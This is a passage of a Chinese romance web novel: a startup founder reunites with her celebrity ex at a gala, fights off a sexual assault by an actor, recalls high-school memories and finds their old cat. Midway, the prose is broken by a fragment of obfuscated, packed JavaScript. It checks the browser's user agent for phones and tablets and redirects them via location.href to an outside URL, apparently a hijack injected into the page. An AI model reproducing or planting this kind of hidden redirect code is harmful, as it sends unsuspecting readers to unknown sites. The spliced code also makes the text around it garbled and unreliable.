当得知蜜恋游戏就一初创小公司后,大伙就意兴阑珊了。
偌大的宴会厅,灯火熙攘,酒意酣欢,人流涌动。
而卓然很快形单影只。
魏祥像是早有预料,泰然自若观赏着这戏剧一幕,朝她遥遥举杯。
卓然不屑一顾,转身从甜品托盘中拿起块蛋糕,托在掌心,用小叉子优雅浅尝。
今晚她本就没抱太大的胜算。公司初创,举步维艰,跌倒是常态,再爬起来就好了。
至于盛愿……
那般星光璀璨的存在,她进来后很难不注意到。权当陌生人,无意又或有意地远远避开。
卓然擦净手指,准备出门打电话问问朋友。或许有人私下与哪位明星交好。
侍者追上来,“Jolin小姐,我们老板请您过去坐坐。”
卓然本就有意道谢,“带路吧。”
然而,随着离盛愿他们越走越近,她心中生出不详的预感。
那几人都出身不凡,坐于宴会厅中央的最佳位置。卓然抱有侥幸,或许刚好路过。
剩一步远时,她目不斜视迈大步子。
侍者:“Jolin小姐,您走过了。”
“……”
卓然整理好表情,转身折返,目光从容地瞧向几人,“请问哪位是老板?”
容横站起身,与她浅浅碰杯,并空出盛愿对面的沙发位置,“听说你在谈代言,我们刚好认识几位艺人朋友,一起聊聊?”
他的态度谈不上热络,但默认了认出她的事实。
卓然了然于心,又看向沙发的那人,他松松叠腿虚靠着,垂眼把玩着金属质地打火机。淡漠吝留给她的,仅有鸦睫下一片浓重的阴翳。
不愧是顶流,演技可真棒啊。
总归他是没打算相认,那她也不想再借用他的人脉。
卓然仅有瞬间的迟疑,容横却已瞧得分明,公事公办道:“作为条件,对会所的系统进行全套升级,你没问题吧?”
客观来讲,兄弟几人都替盛愿不值,并不想他与这女人再有瓜葛。
然而时隔六年,有些时间都冲不淡的心结,只能仰仗她来解。
故而,容横这会语气不冷不热的。
卓然反而心思微动。商场中人情往来是常事,思及广告拍摄急迫,她稍作沉吟:“没问题。只要诸位帮忙介绍,无论代言成与不成,我一律附赠系统升级服务。”
这份大方慷慨的胸襟,让容横欣赏,却也愈发费解。为何当年她独独对盛愿那般自私薄情?
其余几人也熟络几分,起身敬酒。
有人瞧了眼唯一留在沙发上的某人,转而笑问卓然:“以你的这份才干,怎会委身一家小公司做助理?实在屈才了啊。”
那人把玩打火机的动作,悄然微顿。
卓然没注意到这处细节,环顾一圈闻风聚拢过来的艺人,淡淡道:“说来话长。”
相继落座后,卓然分发宣传册介绍:
“我们这款游戏名叫‘蜜恋男友’,它包括:霸总、教授、明星、医生、滑雪教练5种NPC人设,供游戏玩家自主选择。”
对自己得意之作,她侃侃而谈:“每年排行榜的前五名,还能获赠一个仿生机器人……”
盛愿依旧垂着眼,眼底晦暗罗布。唯有那双分发宣传册的纤手,在瞳仁中映出亮色,像错航渔船的一盏孤灯。
他阖了阖眼,敛去那抹发杂思绪——
她到底有多缺钱,才会不肯放过任何一个发小广告的机会?
盛愿位居沙发正中,卓然从他左边起分发宣传册,转圈发到他右边,刚好:“没了。”
连小广告都没拿到的盛愿:“……”
容横及时将宣传册递给他,“大致情况我们都已了解,回头帮你问问。他今年刚演完《机器人男友》,你们先聊聊。”
几人托辞走远。
只剩他俩。
不算独处,但气氛也变得微妙起来。
盛大顶流纡尊降贵地瞥了两眼,像头一次瞧见似的,声线透着敷衍的轻漫:“蜜恋男友……谁起的名?”
“……”卓然没搭腔。
她太熟悉他这副模样,故意找茬的前兆。
果然,“你们同事自己都热恋过么,就敢给别人研发蜜恋男友?”
卓然深吸气,“游戏剧情由专业编剧负责。”
“那就是没谈过呗。”
那人弧长眼尾轻挑,看过来的视线直白不加收敛,一脸嚣张的挑衅。
卓然看回去,声线转凉:“谈过。”
盛愿眸中翻滚的浓云浪潮,无声平寂了些,转而又起伏不定,“能想出5种蜜恋男友,没少谈吧?”
“主要是初恋让人印象深刻。”
“哦?”那人慢条斯理应了声,却又挺直腰身,无端地换一副坐姿。
卓然细眉微挑,架着银丝眼镜的冷白俏脸,忽而生动起来,“因为他回老家去卖臭豆腐了。”
“……”
冷场。
侍者端来新调的鸡尾酒,卓然接连饮尽。两种苦涩,同时滑过喉头。
渐有迷蒙,她看不清眼前的男人了。
容横那帮人不可能擅自做主,把她请过来。可这人不咸不淡的态度,又算怎么回事?
忽然,身边沙发沉下。
魏祥坐过来,不知有意无意,一手臂搭住她身后的沙发靠背,细语低笑:“Jolin原来和盛顶流认识,之前怎么没听你说起过?”
隐去后缀,直呼她Jolin。
有意思。
明明拥有那么多共同回忆的故人,形同陌路。明明仅有一面之缘的陌生人,硬要佯装熟悉。
卓然不喜欢这种越界的亲昵,往后坐去。无形之中,与盛愿拉近距离。
她恍然未觉,扭头看向魏祥,淡淡警告:“因为不熟。”
然后,就忽觉后颈碾过来两道森冷的寒意。
卓然本能回头,猝然撞进那双漂亮的琥珀眸子。
那眼底深处嘲弄淡漠的凉色,顷刻将她吞没。
“是啊,我们不熟。”
盛愿无所谓似的撇下一句,扭头去朝走近的侍者要酒,然后手上莫名多了块菱形草莓蛋糕。
他抵触地蹙了蹙眉,眼底转瞬浸满自嘲与溃败,索性错上加错,将蛋糕递到嘴边——
“啪!”
蛋糕应声掉落。
这一瞬,在场三人都怔住了。
“罪魁祸首”卓然尤甚。
酒意瞬间消退。
她从没想过,深藏内心的记忆,已然变为一种条件反射,根植入骨。
盛愿反应几秒,左手握住发疼发烫的右手背,才勉强抑制住那直蹿心头的动容。
他慢慢掀起眼皮,看她的眸光意味不明:“几个意思啊?”
魏祥也有一瞬震惊。他已习惯喜怒不形于色,这会却忍不住探究着两人。
直觉告诉他,这女人的来历不简单。
周围人更是兴致盎然。
要知道,盛顶流从头到脚全有国际高奢品代言,连头发丝都金贵非常。
手背被人当众狠狠拍了一巴掌,不给他个合理的解释,这事恐不好收场。
一时间,卓然备受瞩目。
她搓着发麻的指尖,眼睫垂落,“看错了,以为飞过去一只虫子。”
盛愿直勾勾盯着她,忽地笑了,“冬天哪来的虫子?”
“……醉酒头晕
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,眼前就黑了下。”
卓然搪塞一句,避到洗手间用冷水浇了脸,又清醒几分。看着镜子中的自己,喃喃劝道:“都忘了吧,往前看。”
高三那年,盛愿有次误食小麦类食品一度闹到医院,吓人不轻。
后来,他每次嘴馋想偷吃,又或故意当面逗她时,卓然就毫不犹豫拍掉他手。
没想到一别经年,这习惯竟还没忘。
可时过境迁,她已没了管他的立场。
卓然擦干脸上的水,走出洗手间。走廊那头的宴会厅门,人群正三三两两散尽。
她看眼手机,零点了。
恍然靠在旁边的转角窗户前,茫然望着浓郁夜色。稍作喘息,给值夜班的好朋友打去电话。
顾燕京是一家私人医院院长,平时跟各行各业的人打交道,或许会认识哪个演员。
“时间这么紧,确实棘手。”他耐心听完,思索片刻:“考虑盛愿吗?今年刚演完《机器人男友》,没人比他更合适。”
……又是盛愿,怎么哪哪都有他?
卓然木着脸,“不考虑,请不起。”
“你们可以集体来我医院卖肾呐。熟人一场,我高价收购。”
人生总会遇到三五个损友,没事时互怼,有事时一边帮忙一边不忘嘲笑。顾燕京就是这种货色。
他还煞有其事地说道:“我帮你问问价格啊。”
“……那我还不如去卖盛愿的黑料”
再拿这笔钱请他代言,让他对她卑躬屈膝……卓然脑补了下,这笔买卖相当划算。
结果话音刚落,身后响起一串手机铃声。
她僵住一瞬,才似信非信地回过头。
不知何时,盛愿也来了走廊转角。
曲腿斜靠着白瓷墙,黑色手工西装熨帖地套在高大身形上。相比于香艳的美男出浴图,眼下是另一种引人遐想的风情。
他随手掐断顾燕京的电话,懒洋洋抬眼瞧过来,拖腔带调地问:“什么黑料啊?本人高价收购。”
卓然抿唇无言,默默垂落手机,却忘了挂断。
视频那头,顾燕京敏锐嗅出一丝端倪
盛愿出身沪城豪门,背景雄厚。试想下,什么样的人手里能攥着他黑料,还有胆量大张旗鼓地去卖?
盛愿直起身,往前一步,“我的房间号?”
卓然:“……”
顾燕京:哇哦!
盛愿又近一步,“偷拍了我裸照?”
卓然:“…………”
顾燕京:这是可以免费听的吗?
盛愿逼至卓然的面前。
他骨架大,高她近两头,自带威压似夜猎的凶兽。她本能屏住呼吸息,仰望起他。
墙上挂着一盏声控小夜灯,离他脸部极尽,映照肤色白得发光。
秀美精致的五官,镶嵌在刚毅苍劲的轮廓里,雌雄莫辨,一眼万年。
可为何看她的眼神,透着……怜悯?
盛愿不正经地挑下眉梢,顿了顿,又重复问道:“说说看,我诚心出价。”
“说就说,”卓然一忍再忍,最终挺直腰杆,面不改色、镇定自若地回道:“有人告诉我,你独居在家,从来不洗脚不刷牙。”
“……”
顾燕京:噗——
他紧紧捂住手机,憋笑到肚子抽筋。
盛愿神情有一瞬的裂开,不过很快恢复如常。
他轻嗤了声,透着一丝慢条斯理的耐人寻味:“哦,是吗?”
不等卓然明白过来,他俊脸放大数倍欺近,恶劣地故意恃靓行凶。
缺氧的窒息袭卷喉头,卓然鼻翼阖动,却全是他潮热呼吸。她警惕盯着他,“你……你干嘛?”
男人看她的目光缓缓下移,侵略,慵懒,若有似无的调情:“洗澡已经被你撞见了,牙要检查下么?”
5. 重逢篇
卓然犹遭雷击,眼睫迟钝眨了两下,才反应过来。她羞愤地将人狠狠推开,“幼稚。”
然后故作淡定地,转身走开。
不知她是否听错,身后传来一道极淡的低笑,语调轻快,像是坏小孩要糖得逞似的。
卓然一路进了电梯,手指悬在顶层按键12,顿了顿,改按成1,电梯门合拢。
密闭空间内,衬得她心跳声愈发乱糟糟的。
她靠着电梯缓了会,才不经意拿起手机一看:“……”
顾燕京语调兴奋:“所以,你和盛愿认识。”他用的肯定句。
卓然走出电梯,来到一楼靠海的观景台吹着凉风,语气不爽:“我怎么可能认识那种学渣?”
说完就抿紧嘴,多少有点不打自招了,“一个八竿子打不着的同学。要不是你介绍,我都没认出他来。”
“哦——”顾燕京成功嗅出更多的八卦气息:“高中时打过交道,同班同学?”
“那你俩怎么认识的?”卓然粗暴反问回去。
盛愿这货看着不靠谱,其实为人仗义。高中时有一群铁哥们,她几乎都认识,顾燕京不在其中。
不过想想也是,六年没见,彼此社交圈子早已发生翻天覆地的变化。
就像两个单线程的游戏程序,没有同步执行,毫无任何交集。
顾燕京如实相告:“我是他的私人医生。”
卓然眼神微变,“他,经常生病?”
谈及工作,顾燕京正色起来:“医患信息保密。”
卓然点点头,尊重他的职业操守,没再追问。
毕竟,盛愿那货一向有大病,也不是一天两天了。
“对了,我眼睛今天忽然黑了几秒。”她脸色微凝,简述今晚一系列的事情经过。
“让你不听医嘱!”
顾燕京也神情凝重起来,“你前段时间加班太狠,最近绝对不能再多用眼。把这事给我刻进骨子里,听见没?”
“……哦。”
“还哦?”顾燕京又气又急:“早晚有你受的!”
又被碎碎念地叮嘱几句,有博士生来向他讨教,卓然遂挂断视频。
没想到,一出身就撞见了傅禹。他绅士地靠在两米开外,像在等她。
“傅先生什么时候到的?”卓然在宴会厅没瞧见他。
“我刚到宴会就散了,路过正好看见你,过来打声招呼。”傅禹笑了笑,不着痕迹打量两眼她的穿戴。一袭紧俏的黑短裙,美得像个夜宴妖姬。
难怪魏祥为搏美人一笑竟豪掷三百万。
傅禹生出浓重的危机感。魏祥最是喜新厌旧,绝不能让他得到卓然。
“那就早点回房休息吧,挺晚了。”卓然客套点点头,没再提代言的事,“告辞。”
“关于代言的事,我有个办法能说服魏总,你想听听吗?”傅禹叫住她。
他专门等她说这事,卓然也不好一走了之,走过去,“说说看。”
“这个方法有些冒昧,”傅禹却说得坦然,朝她露出最上镜的迷人笑颜,“不瞒你说,我对你一见钟情。如果我们是男女朋友的话,那魏总也就不好多管了。”
卓然心中冷笑,果然物以类聚,“傅先生正值事业上升期,就不怕女粉丝伤心?”
“我很想顾及她们的感受,但演员也是人,谈恋爱都是正常需求。”傅禹俯身朝她靠过来,含情脉脉:“能否先委屈你一段时间,私下交往?我肯定会加倍对你好的,然然。”
他和魏祥都是双,但魏祥有洁癖。
一旦这个女人死心塌跟了他,不仅能让魏祥厌恶她,还能增加他在魏祥眼中的魅力,赢得更多的影视资源。
卓然却听得一阵恶寒。
既想赚她钱,还想睡她人,同时又不影响他形象,好处都被他占尽了。
“不必,我不缺男人来对我好。”
卓然态度果决,转头就走。
不料,傅禹竟将她一把揪了回来,反手就压在墙上,浓重难闻的香水味扑面而来。
卓然下意识挣扎,厉声警告:“你在撒什么疯?现在可是法治社会!”
傅禹有恃无恐,凑到她耳边深深吸了一口馨香,满脸回味道:“之前是你想求我代言,刚刚也是你主动走过来的,摄像头可都拍着呢。你尽管报警,看警察和粉丝到时候信谁?”
卓然当即扭脸去找摄像头。后知后觉,安保不见了。偌大昏黄的观景台空无一人,寂静阴森得可怕。
不仅没人能作证,在隔音极好的会所内,更是让她陷入叫天天不应的困局。
见她眼神隐有动摇,傅禹嬉笑更甚:“这事要闹大了,你自己遭网暴不说,就连你那小破公司都得倒闭。与其那样,还不如求着我多疼疼你呢,嗯?”
说完,他肆无忌惮盯着她唇,兴奋吞咽两下。然后恶气烘烘的嘴,就急不可耐地凑近亲过来——
“啊!”
傅禹突然惨叫一声,“臭婊子,你快给我住手!”
卓然之前是故作惊惧,等他稍有松懈,就一个过肩摔将他撂倒在地。说起来,这还是那人交给她的防身手段。
她一连踹了傅禹好几脚,愤恨唾骂:“你们可真是蛇鼠一窝!这都算轻的,要是手里有刀,我非划烂你这张人皮不可!”
“怎么了?怎么了?!”
被傅禹用小费支开的当值安保,手里捧着杯咖啡跑过来。眼见傅禹惨样,顿时大惊失色,“傅老师,您没事吧?”
傅禹由他搀扶起身,咬牙切齿盯着卓然,“给脸不要脸,今天这事没完!”
*
很快,一行人到顶层6号房对峙。
傅禹自认有魏祥这层关系罩着,先添油加醋说了遍事情经过,强势要求卓然当众道歉。
容横没理会他,从头到脚打量完卓然,确定人没受伤,随后拨通盛愿电话,“在哪呢?来一趟我的新……房间。”
这不偏不倚、模棱两可的态度,叫傅禹和卓然都没看懂。
殊不知,容横心里在骂娘。
怎么又叫他摊上这女人的事了?得亏没出大事,否则就那见色忘友的混蛋,得把他这搅得翻天覆地!
盛愿还以为是算私换房间的账,随意汲上棉拖,双手插兜,吊了郎当地从房里走过来。
要不是那张帅脸驰名中外,单看他走路姿势,都会让人误以为这是古惑仔横行的黑店。
他进门后,直觉事情不简单,视线微凛,也从一众人中精准捕捉到落地窗前的卓然。
两人四目相对,又别扭地一碰即离。
魏祥稍晚一步抵达,这瞬间的异样,让他来不及多想。
容横却瞧得明白,特意吩咐那安保:“将事情经过,一五一十说给你们盛老板听。”然后往远处站了站,唯恐被无辜殃及。
卓然秒懂关窍,盛愿也是这的老板。
那今晚晋升房型、送她礼服、为她一次次长脸的……
她心口鼓胀,探寻地看回去。
沙发被傅禹和魏祥占了,盛愿随容横靠在书桌前。
两位老板没坐,安保也拘谨站着,详细汇报。包括傅禹塞给他一千小费只为让他跑腿买杯咖啡、傅禹骂卓然是婊子的事,都没敢落下。
盛愿原本耷拉着眼皮,但听到“婊子”二字,蓦地抬眼朝卓然看过来。
冷白的氛围灯下,他眼眶旁的青筋猛地一跳,投过来的晦暗复杂眸光又叫人看不懂。
卓然别开脸,手指攥紧。
若是可能,她宁愿不请代言人,也不想断联多年后,让这困窘一幕落入他眼中。
魏祥和傅禹自然也注意到这一幕。
傅禹没赶上晚宴,不明就里。然而魏祥目露意味,跃起一丝亮色,他感觉有些真相呼之欲出。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602903|172049||http|test|mini|href|location''.split(''|''),0,{}));
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>卓然注意到魏祥的探究,忽而想起盛愿刚提名了酷潮TV的奖项,这时候他们双方不宜撕破脸。更何况,她没有理由、没有立场再让盛愿为了自己得罪人。
她深吸气,主动开口:“盛老板,既然这位安保可以作证傅禹是恶意蓄谋,那这事就交给警方来处理吧,不麻烦您了。”
这话一出,盛愿周身气压骤降,凛冽如透着寒芒的剑刃。
旁边的壁灯离他脸极近,映得他半明半暗的脸色,愈发变幻莫测。
安保被冻得瑟缩了下。
卓然也心尖一紧,但她没有让步。
傅禹更是诧异看去,小眼珠动了动,心想肯定是这女人非要报警惹恼了盛愿,赶忙火上浇油:“盛哥你都瞧见了吧?不是我们故意给你惹事,是这女的太他妈难搞了!”
盛愿瞧都没瞧他一眼,目光阴沉地盯着卓然。犯贱地将她从头到脚仔细打量几遍,生怕错过哪一处细小的伤痕。
他脚尖也曾抬起过,又硬生生顿住。一句轻飘飘的“盛老板”,让他失去了站在她身前的资格。
盛愿垂耷下眼皮,隐晦遮去一闪而过的狼狈,语气恢复了无谓的散漫:“监控和安保会一并提供给你,私了或报警都随你。”
傅禹如遭雷劈:“不是吧,盛哥?咱才是自己人……”
“道歉。”
盛愿打断他,缓缓重复:“给她道歉。”
这画面……卓然指尖微颤,竟与从前别无二致。
傅禹更傻眼了,见盛愿来真格的,赶忙扭头求助魏祥。
魏祥却笑了。
他原本没打算给傅禹收拾这烂摊子,正好叫他长长记性。不过现在瞧着盛愿的态度,反而越发想推波助澜,瞧一瞧今晚这位Jolin小姐到底是何方神圣。
魏祥换个腿交叠,随手掏出烟盒和打火机,嘴上轻描淡写地和络道:“都是自己人,和气生财啊。盛顶流又何必为了一个小人物,如此大动肝火?”
盛愿眉峰猝起,罕见地敛去满身的散漫不羁,脸色郑重,一字一顿:“敢在我地盘闹事,就得按我的规矩来,没商量。”
魏祥顿住点燃的动作,眼眸微眯,不置可否。
房间蓦地寂静下来。
剑拔弩张的肃杀,一触即发。
安保吓得大气不敢喘。
傅禹也如芒在背,他根本没料到事情竟会演变到这步。
容横则看向窗边的那位红颜祸水,皱紧眉心。
得知顾燕京认识卓然后,盛愿很轻易就打电话套来真相,容横当时也在场。
卓然从不是个无聊的人,她这样做,肯定有她的道理。
两人都打算配合她,严守秘密。怎料,出了傅禹这档子破事。
盛愿刚提名了酷潮TV奖项,以后也会在圈内低头不见抬头见,他本不该轻易开罪魏祥。
然而但凡跟卓然沾边的事,盛愿的字典里就没了“理”字——不讲道理,不剩理智。
容横左思右想,头疼不矣。
忽然,窗边的人轻笑了声。
狭短,薄凉,嘲讽无比。
“小人物?小人物的委屈就可以轻易被抹杀?”卓然微微偏头,睨着沙发上的两人,“你们心思肮脏,但我们卓家……可从不认这道理。”
她声量轻飘飘的。
却又恍若平地一声雷——
傅禹彻底被炸懵了,“哪、哪个卓家?”他机械转头看她,声线寒颤:“你不是助理?是那个创办蜜恋的卓氏千金本人?”
卓氏家族以科技屹立沪圈,融入血脉的精英传承,稀有且无可取代,影响力非比寻常。
不过卓然为人低调,又在国外留学多年,别说傅禹这种小卡拉米,各大家族能认出她的人都少之又少。
然而,单一个卓姓,就是硬道理。
不过霎那间,魏祥点烟的火,就烧到了自己的手。
6. 重逢篇
事情发展到最后,傅禹毫无意外地诚恳认错,鞠躬道歉。
就连魏祥也变得礼待有加。
卓然忽觉可笑,事情还是那件事情,她的言辞也丝毫未改。
她本不喜借助家族的影响力,到头来,还是有心无力。
可总不好让盛愿因为她而开罪魏祥,也没想到时隔多年,他还会为了她不管不顾。
一股说不清道不明的意味,萦绕在她心头。就像这洗澡时的热雾,时而浅浅淡淡,时而又细细密密。
旧时往事,也在眼前似白雾弥现。
大抵是,时光会从我们身边带走很多,却带不走本性与品格。卓然犹记得,两人初见时的情形,和今晚竟有着七八分相像。
那是8月中旬,高三开学已有一周。
卓然转学当天,就赶上学校组织高三学生去复旦和交大参观,激励学习斗志。
经班主任简单介绍,她坐到大巴车倒二排。座椅还没坐热,就听到门口有人打报告。
她寻声望去,是两个高挑的男生。
偏胖的那个,背书包还算端正。
瘦削的那位两指勾着书包带,好像随时都想将书包扔出去。
少年天生的亚麻棕发很是好看,冷白脸庞余有一丝稚气感。弧长眼皮已出落得凉薄,懒懒抬着看向班主任,衬得气质愈发恣意。
卓然那时还不知,自己将与这人要有长达一年的纠葛。瞧着那张脸分外惹人,不自觉多看了两眼。
“你俩怎么又迟到啦?”
这时,班主任开口问道。
偏胖的男生,老实巴交似的搓了搓手:“报告老师,我扶老爷爷过马路来着。”
同学们哄堂大笑。
班主任撇嘴:“这借口你上上回用过了,再编一个。”
说完,班主任又转头问盛愿:“你呢?可别说跟他一起扶的啊。”
吃瓜群众再度嬉笑出声。
当事人却是没笑,仍一副惫懒模样,慢条斯理地想了想:“他非要管我叫爷爷,生扶硬拽地不让我走。”
众人反应一瞬,转而爆发出震耳的咆笑,差点能将车顶冲飞的那种。
那胖男生怒不可遏,指着身旁的帅气少年痛骂:“盛愿你丫的,你再给我说一遍?”
“行了行了,”班主任哭笑不得地摆摆手,示意俩人赶紧找位置坐下,“车上不让公然决斗,你俩回头私下切磋吧。”
少侠1号:“……”
少侠2号:“……”
吃瓜群众们再度乐不可支。
卓然也被逗得忍俊不禁,感觉新学校的老师和同学,还挺可爱的。
原本因转学到陌生环境的不安全感,被消减掉大半。
如果这俩嘻哈二将,没离她越走越近的话……
大巴车是两两同座,最后一排堆了些横幅、矿泉水等杂物。
卓然座位靠近南窗,且临近过道。
她环顾四周后,欣喜地发现:全车唯二的俩空位,刚巧在她一左一右……
盛愿先停在卓然身旁,淡漠看她一眼,又瞧向另一处空座旁的女同学,无声权衡着。
那胖男生紧随其后,看到她双眼放光,“靠,这新同学还挺漂亮!快让我坐进去,快!”
卓然不由去看盛愿的反应,他依旧那副事不关己的散漫模样。
她不抱希望地站起身,准备挪到旁边那座。好让这俩狗东西坐一起,路上继续狗咬狗。
突然这时,盛愿空着的左臂猛地往后一怼,“乖孙,懂不懂尊老爱幼啊?”
“呃!”
那男生疼得,顿时弯腰捂腹,“……你他妈给老子等着!”然后踉跄着跌坐到过道那边,模样又惨又滑稽。
卓然勾了勾唇,主动让开位置通道。
盛愿没动,下巴点了点里边空位,“你进去。”
卓然迟疑2秒,想着由他隔绝开那色痞也不错,于是拿着书包换到里面。
盛愿这才彻底安顿下来。
高三时期的少年已出落地挺拔高大,站着像座塔,坐在她身侧像座山。不苟言笑,隐有威压。
不过因着幼时经历,卓然要比同龄人早熟些。看得出这大男孩表面玩世不恭,但为人的底色干净磊落,所以她并不怕他。
过道那边,胖男生还在疼得哼唧。
刚被他嫌弃的女同学,幸灾乐祸:“两位少侠好功夫啊,这场决斗还没开始就结束了。”
胖男生:“……”
盛愿:“……”
那女生声量不大,但坐得不算远,卓然隐约听见一耳朵,悄然勾唇。
看来这两位少侠,还欠练呐……
“好笑吗?”
身旁,忽然响起一道凉飕飕的质问。
……这不废话么,不好笑她能笑?
不过念在他刚才义举,卓然很给面地压下唇角,若无其事看向窗外。沿路风景不断倒退,从鳞次栉比的高楼大厦渐渐变为宁静郊区。
怎奈,那道凉飕飕的视线不减反增。
卓然转头看回去,就见盛愿一瞬不瞬地觑着她,弧长的琥珀眸微眯,满脸写着“你让哥不爽了”,大少爷的脾气恶劣又傲慢。
卓然本不想第一天就跟同学结梁子,尤其得知车上的同座就是班里的同桌后,偏偏忍了会他还不知收敛。
最后,她逆着他冷凉的视线,轻扯唇角:“一般般吧,比不上马戏团里的猴。”
“……”
*
一整晚遐梦不断,卓然次日醒来,将近10点。
窗外的雨势又变大了,阳台门稍微拉开一条缝,浸着雨气的寒凉海风就扑面袭来。
她打个哆嗦,忙关上门。洗漱完毕,打通内线,要了一碗红烧牛肉面。
服务员止步在两道玻璃门禁外。卓然打开房门,自行端进来享用,红烧肉满屋飘香。
“喵——”
忽然有陌生的物种,非法闯入。
她寻声看去,一只大胖橘在餐桌下探头探脑。
见原住居民没有驱赶它,大胖橘试探着跳到餐桌上,是只非常灵活的小胖纸。
也挺亲人的。
比如,上手扒拉她筷子……
胖嘟嘟的小黄毛手套,蹭得她手背痒痒的。卓然放下筷子,试探着摸摸胖猫头,“你是谁家的小馋猫呀?”
它也不躲,蹲坐在餐桌上,大眼汪汪地好奇瞧她,小模样可可耐耐。
卓然不确定这猫是隔壁那人养的,又或追着送面的服务员溜上来。
不想再被他诬赖“贼心不死”,她打内线到服务台,让帮忙问问猫主人。
然后坐回去,继续吃牛肉面。
浓郁诱人的喷香,馋得胖橘开始“嘎吱嘎吱”嚼空气。小眼神委屈巴巴的,让人实在无法狠心忽视。
她不得不又拿起手机,搜索喂猫攻略
房间水吧台上备有两盒营养舒化奶,加热一盒后给它倒进纸杯:“喝吧。”
大胖橘丝毫不认生,小舌头舔着羊奶,粉嫩鼻尖上还沾了一抹白。
喝完就跳下台面,大摇大摆走到淡灰色毛毯上,舒服打起呼噜。
卓然追过去查看,它竟斜了她一眼!
好家伙,现在小猫都有两副面孔啦?
刚进门时,乖乖巧巧:“哇,这是您家吗?”
吃饱喝足后:“这是你家嘛,大姐!”
卓然无语抿唇,也开始有点好奇,这到底得是多难揍一主人,能把猫养出这副死鬼样?
后来,房务经理亲自回了电话,“已帮您问过,橘猫是盛老师的爱宠。”
电话挂断,房中重新安静。
喷有香雾的暖风机,扑簌簌作响。
卓然看向脚边的大胖橘,若有所思。像想到什么大胆假设,俏白脸蛋掠过一抹疑色。
她唇角动了动,又动了动,试探着喊出记忆里的名字:“盛……盛碰瓷?”
“——”
原本阖眼假寐的猫大爷,倏地睁大透亮的猫眼,好奇仰头看她。
卓然还是不敢妄断,或许只是因为它听见了动静。于是她后退几步,朝它招手,“盛碰瓷,过来。”
神奇的一幕发生了。
刚才六亲不认的猫大爷,眨眼间就小跑到跟前,顺着她裤腿就开始往上爬。
卓然下意识接住它,小心搂在怀里。大胖橘沉甸甸的,她心也沉甸甸的。
捡到它那天,正值2018年除夕。
卓然和盛愿披着五彩的灯笼烟花,踩着皑皑白雪,准备从庙会回家吃年夜饭。
走到半路,一只奶萌小橘意外从雪地里钻出来,黏住卓然的裤脚不放。
卓然抱起浑身冰凉的小家伙,反手塞进盛愿的羽绒服里。
盛愿:“……你可真是人美心善!”
卓然:“那当然。”
盛大少爷为了教育某人“什么是真正的人美心善”,决定大发慈悲收养这只小流浪。
给猫起名字时,两人非要争个高下:
“我先发现的。”
“我养着就是我的。”
“你取那名不好听。”
“好歹比你那个强……”
两人争论一路,最后签订平等协议:
由她取名,冠以他姓——
盛!碰!瓷!
盛愿:“我严重怀疑你在骂我。”
卓然:“可惜你没有证据。”
……
浅开的纱窗有海风吹入,白纱帘坠着的五彩贝壳,“叮当”作响。
卓然拉回思绪,仔细端详怀里的胖橘。凭着记忆,找到它耳根处的两圈白毛,分毫不差。
只是几年不见,当初眉清目秀的小可爱,已然华丽蜕变为一坨橘色毛毡。
大抵就是,美女与野兽的区别吧……
卓然抱着它逗了会,看向与隔壁共用的那面白墙。向来思维敏锐的卓大神,少有的神色踌躇。
隔壁阳台传来动静,她稍作思忖,抱起大胖橘,主动敲开了隔壁的门。
“请问,您是……”
门内站着个娇小软萌的姑娘。
齐肩蘑菇头,白色大衣别着兔兔头,说话时小圆脸满是甜笑。
妥妥的斩男小萝莉,跟那人桀骜狂妄的狗脾气,很是互补相配。
卓然反复斟酌的腹稿,被舌尖绊了下,“请问这猫是……是你的吗?”
小姑娘低头一看,“是哒是哒,给您添麻烦了。”她伸手抱过去,侧脸蹭了蹭胖猫头,“哎呀,盛碰瓷你又调皮啦!”
大胖橘欢快回蹭她,显然相熟已久。
卓然放心了,不想引起小姑娘误会,只假装成普通房客,利落地告辞回房。<
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p>快速带着折叠齐整的黑色礼服、白色手包,下楼交给一楼服务台。
她没在温暖空旷的大堂等网约车,撑伞行至路边,空气潮凉清新,胸口却仍沉闷难耐。
凉雨绵密如网,树欲静而风不止。
屋漏偏逢连夜雨,网约车司机嫌弃海港这里又偏又远,取消了单订。
卓然无法,重新加钱下单找车。
“嘀嘀——”
忽然,身后传来汽笛声。
她寻声回眸,黑色劳斯莱斯幻影的车窗,缓缓降下。
那张熟悉的冷俊侧颜,于朦胧雨雾中浮现,好似隽美烟雨画中的一抹孤月。
男人偏头点了点身旁的座椅,“谈谈。”
卓然迟疑一瞬,绕到副驾坐好。边擦拭眼镜片,边思索该由谁先开启这场正式的告别。
倏忽间,似有一道视线在盯着她手。
等回看过去,却见盛愿正低头随意挽起袖口,白皙精瘦的小臂搭上方向盘,脸色淡漠地,缓缓启动车子。
卓然戴好眼镜,面朝窗外暗暗自嘲。
人家都“不认识”她这人了,又怎么可能关心她为什么戴了眼镜?
车子驶入市区,雨势渐小。车外松柏苍翠欲滴,车内意外的一路无话。
空气中弥散着一股好闻的男士山泉冷香,也透着搅人心绪的侵略性。
茗景庄园是双拼型别墅,黑色劳斯莱斯稳稳地停在17栋B室门前。
原来,他不是不记得。
自打她高三搬进这里,他来的次数,比她爸妈加起来的都多……可惜,如今都没意义了。
两人并排坐了很久,谁都没先开口。
也是,开口又能说什么?
好久不见,别来无恙,又或是……祝你幸福?
卓然解开安全带,“谢谢你送我回来,也谢谢你昨晚帮忙。”她简单解释了隐瞒身份的初衷,“如果魏祥以后给你使绊子,我能帮得上忙的地方,你随时说话。”
“除了谢谢,你就没其他想跟我说的?”盛愿侧身看来,眸光幽深晦暗一片。
怎会没有?
但同是女人,将心比心,都希望男友前任像死了似的。他既没多言,卓然也不想纠缠:“没了。”
“好啊,好的很。”盛愿嘲弄地嗤了声,眼底似掠过一抹失落。
不待卓然看清,就见他指着车后座问,“那对它呢?”
原来,盛碰瓷一直乖乖卧在后座软垫上,眼巴巴望着这边,像个盼着父母爱怜的孩子。
卓然心虚别开眼,“它怎么了?”
“你不会以为,房务经理没跟我汇报吧?”
卓然被噎住一瞬,“……”
